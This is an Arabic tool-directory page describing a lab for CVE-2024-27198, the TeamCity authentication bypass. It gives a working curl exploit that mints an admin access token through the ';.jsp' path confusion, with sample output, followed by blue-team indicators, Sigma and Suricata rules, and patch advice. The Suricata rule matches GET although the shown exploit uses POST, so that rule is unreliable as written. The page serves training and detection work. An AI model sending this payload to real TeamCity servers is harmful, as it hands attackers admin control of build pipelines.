Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-27198_Lab — مختبر لـ CVE-2024-27198 | Kitploit
أدوات/GitHubGitHub/cmpnn-romain/cve-2024-27198_lab
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقاستخبارات التهديداتكشف التسللالتعلم والتعليمالاستجابة للحوادثتحليل السجلاتمختبرات وتدريب عملي
منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
cmpnn-romain/cve-2024-27198_lab

CVE-2024-27198_Lab

مختبر لـ CVE-2024-27198

عرض المستودع

مختبر CVE-2024-27198

الوصف

تقدم TeamCity صفحة خاصة بالمسؤول لإدارة الرموز المميزة غير محمية بالمصادقة. وهذا يسمح لمستخدم غير مصادق عليه بإنشاء رمز وصول للمستخدم المسؤول إذا تمكن من العثور على معرّف مستخدم موجود.


تفاصيل CVE

  • معرّف CVE: CVE-2024-27198
  • CWE: CWE-288
  • CNA: JetBrains s.r.o.
  • النتيجة الأساسية: 9.8 حرجة
  • المتجه:
    • CVSS:3.1
    • AV:N شبكة
    • AC:L منخفض
    • PR:N لا شيء
    • UI:N لا شيء
    • S:U لم يتغير
    • C:H عالٍ
    • I:H عالٍ
    • A:H عالٍ

استخبارات التهديدات وOSINT

التأثير الواقعي والاستغلال

  • كتالوج CISA KEV: تمت الإضافة في 7 مارس 2024، مما يؤكد الاستغلال النشط في البرية.
  • جهات التهديد: استُغل من قبل مجموعات برامج الفدية المتعددة والتهديدات المستمرة المتقدمة، ولا سيما مجموعة برامج الفدية BianLian و متغير برامج الفدية Jasmin. استخدم المهاجمون هذا الالتفاف لإنشاء حسابات مسؤول مارقة، ونشر إضافات ضارة، وتنفيذ تعليمات برمجية عشوائية (RCE) للتحرك جانبيًا داخل شبكات الضحايا.
  • ملف الهدف: أنابيب CI/CD هي أهداف عالية القيمة (هجمات سلسلة التوريد). اختراق TeamCity يسمح للمهاجمين بحقن تعليمات برمجية ضارة في بناءات البرامج، وسرقة الكود المصدري، واستخراج أسرار النشر (مفاتيح AWS، الشهادات).

لماذا هذا CVE حرج

تكمن الثغرة في آلية توجيه REST API. من خلال إلحاق أحرف محددة (مثل ?jsp=/app/rest/...;.jsp) بنقطة نهاية غير مصادق عليها، يمكن للمهاجمين خداع خادم الويب TeamCity لتوجيه الطلب إلى نقطة نهاية مصادق عليها مع تجاوز مرشحات الأمان. هذا لا يتطلب أي معرفة أو وصول مسبق، مما يجعله نقاء 9.8 CVSS.


خطوات إعادة الإنتاج

بدء الحاويات

root@kitploit:~
cd CVE-2024-27198
root@kitploit:~
docker compose -f docker-compose.yml up -d

الوصول إلى مثيل Teamcity الضعيف على http://localhost:8111. الوصول إلى مثيل Teamcity المُصحّح على http://localhost:8112.


بوابة تسجيل الدخول

اسم المستخدم:

root@kitploit:~
admin

كلمة المرور:

root@kitploit:~
admin

اختبار الثغرة

طلب GET لمورد بدون مصادقة:

root@kitploit:~
curl -i http://localhost:8111/app/rest/users
root@kitploit:~
curl -i http://localhost:8112/app/rest/users

كلاهما يجب أن يعيد خطأ برمز حالة 401.


إنشاء رمز مميز للمستخدم المسؤول

root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

يجب أن يعيد رمزًا مميزًا مثل هذا (الرمز مختلف في كل مرة):

root@kitploit:~
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

يجب أن يعيد خطأ برمز حالة 401 لأن المثيل المُصحّح لا يحتوي على الثغرة.


التحقق من الرمز المميز

root@kitploit:~
curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

يجب أن يعيد قائمة المستخدمين.


حذف الرمز المميز

  1. اذهب إلى http://localhost:8111 باستخدام حساب المسؤول.
  2. انقر على أيقونة الملف الشخصي في أعلى اليمين.
  3. اذهب إلى الملف الشخصي -> رموز الوصول.
  4. سترى الرمز "REDTEAM".
  5. ببساطة انقر على حذف بجوار الرمز.

الفريق الأزرق: صيد مؤشرات الاختراق في السجلات (عامل التخفي)

أثناء العرض التوضيحي في المختبر، يمكنك إظهار اكتشاف كبير للفريق الأزرق: بشكل افتراضي، هذه الثغرة خفية بشكل لا يصدق!

  1. سجلات الوصول Tomcat معطلة افتراضيًا في صورة Docker الخاصة بـ TeamCity، لذلك طلبات HTTP ذات ;.jsp لا يتم تسجيلها.
  2. سجل التدقيق في TeamCity لا يسجل إنشاء الرمز المميز عبر REST API.

إذا كيف نلتقطه؟ عندما يقوم المهاجم بتنظيف آثاره! عندما يقوم المهاجم بحذف الرمز المارق للاختباء، فإن TeamCity يسجل ذلك.

ابحث عن المهاجم الذي يغطي آثاره في سجلات التدقيق:

root@kitploit:~
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(سترى إدخال سجل يشير إلى أنه تم حذف الرمز "REDTEAM").


إيقاف الحاويات

root@kitploit:~
docker compose -f docker-compose.yml down

التخفيف والكشف

التحليل الفني (CWE-288)

هذه الثغرة هي حالة من CWE-288: تجاوز المصادقة باستخدام مسار أو قناة بديلة. ينبع الخلل من مشكلة ارتباك المسار بين خادم الويب Tomcat وجهاز توجيه تطبيق TeamCity. من خلال إلحاق ;.jsp وتمرير نقطة نهاية REST API الهدف في معامل jsp=، يفسر مرشح الأمان الأولي الطلب كطلب غير مصادق عليه لملف .jsp عام (وهو مسموح به). ومع ذلك، يقوم جهاز التوجيه الداخلي بإزالة ;.jsp ويعيد توجيه الطلب إلى نقطة النهاية المقيدة /app/rest/ دون فرض مرشح المصادقة.

حالة استخدام مشروعة (لماذا يُسمح بـ ;؟): يستخدم Tomcat رمز الفاصلة المنقوطة (;) لـ معاملات المصفوفة. تاريخيًا، تُستخدم هذه الآلية لتمرير المعاملات مباشرة داخل المسار، مثل إلحاق JSESSIONID للحفاظ على حالة جلسة المستخدم عند تعطيل ملفات تعريف الارتباط. هذا السلوك العادي والمشروع لخادم الويب، بالإضافة إلى التحقق غير السليم من قبل جهاز توجيه تطبيق TeamCity، هو ما يخلق الثغرة.

مؤشرات الاختراق (IoCs)

للكشف عن اختراق جارٍ أو سابق، يجب على الفرق الزرقاء البحث عن:

  1. سجلات الويب: طلبات HTTP تستهدف نقاط نهاية /app/rest/ ولكن تحتوي على السلسلة الشاذة ;.jsp في URI.
  2. سجلات التدقيق (teamcity-server.log): إنشاء غير مفسر لرموز الوصول أو إنشاء حسابات إدارية جديدة.
  3. مستوى النظام: تثبيت إضافات غير معروفة أو مشبوهة (غالبًا ما يستخدمها المهاجمون لتصعيد الامتيازات وتحقيق تنفيذ التعليمات البرمجية عن بعد).

اكتشاف السجل (قاعدة سيغما)

لأن الاستغلال الأولي خفي بشكل افتراضي، يجب على الفرق الزرقاء الاعتماد على كشف إجراءات ما بعد الاستغلال للمهاجم، مثل تغطية آثاره. إليك قاعدة سيغما لـ SIEM الخاص بك لاكتشاف عمليات حذف الرموز المشبوهة:

root@kitploit:~
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
    category: application
    product: teamcity
detection:
    selection:
        message|contains: 'delete_token_for_user'
    condition: selection
level: medium

عرض توضيحي مباشر لـ SIEM (الفريق الأزرق)

لإثبات أن هذا الكشف يعمل، قم بتشغيل البرنامج النصي siem_simulator.py.

  1. افتح طرفية ثانية بجانب طرفية الاستغلال.
  2. تأكد من أن الحاوية الضعيفة قيد التشغيل (docker compose up -d).
  3. شغّل المحاكي:
root@kitploit:~
python3 siem_simulator.py
  1. في الطرفية الأولى، قم بتشغيل الاستغلال، وتحقق من الرمز، ثم احذف الرمز عبر واجهة الويب.
  2. شاهد الطرفية الثانية تضيء بتنبية حرجة حمراء تُظهر قاعدة سيغما وهي تلتقط المهاجم الذي يغطي آثاره!

المعالجة

  • التصحيح الرسمي: قم بترقية TeamCity إلى الإصدار 2023.11.4 أو أحدث، والذي يقوم بتنظيف وفرض تطابق المسار بشكل صحيح على الخلفية.
  • حل بديل: إذا كان التصحيح مستحيلاً، أصدرت JetBrains إضافة تصحيح أمان يمكن تثبيته على المثيلات الضعيفة.

الكشف الشبكي (قاعدة Suricata / Snort)

للكشف عن محاولة الاستغلال هذه على الشبكة، يمكن لمركز عمليات الأمن تطبيق قاعدة IDS التالية، والتي تبحث عن النمط الشاذ ;.jsp مع مسارات REST API:

root@kitploit:~
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

اختبار الإصدار المُصحّح (عرض توضيحي في المختبر)

لإثبات أن التخفيف يعمل، يمكنك إطلاق حمولة الاستغلال نفسها بالضبط ضد حاوية TeamCity المُصحّحة التي تعمل على المنفذ 8112:

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

لأن التصحيح يفرض مطابقة المسار بشكل صارم وينظف معاملات المصفوفة بشكل صحيح، سيفشل الالتفاف. يجب أن ترى رد 401 غير مصرح أو 404 غير موجود بدلاً من رمز مميز مولّد.


روابط

  • CVE-2024-27198
تنزيل الأداة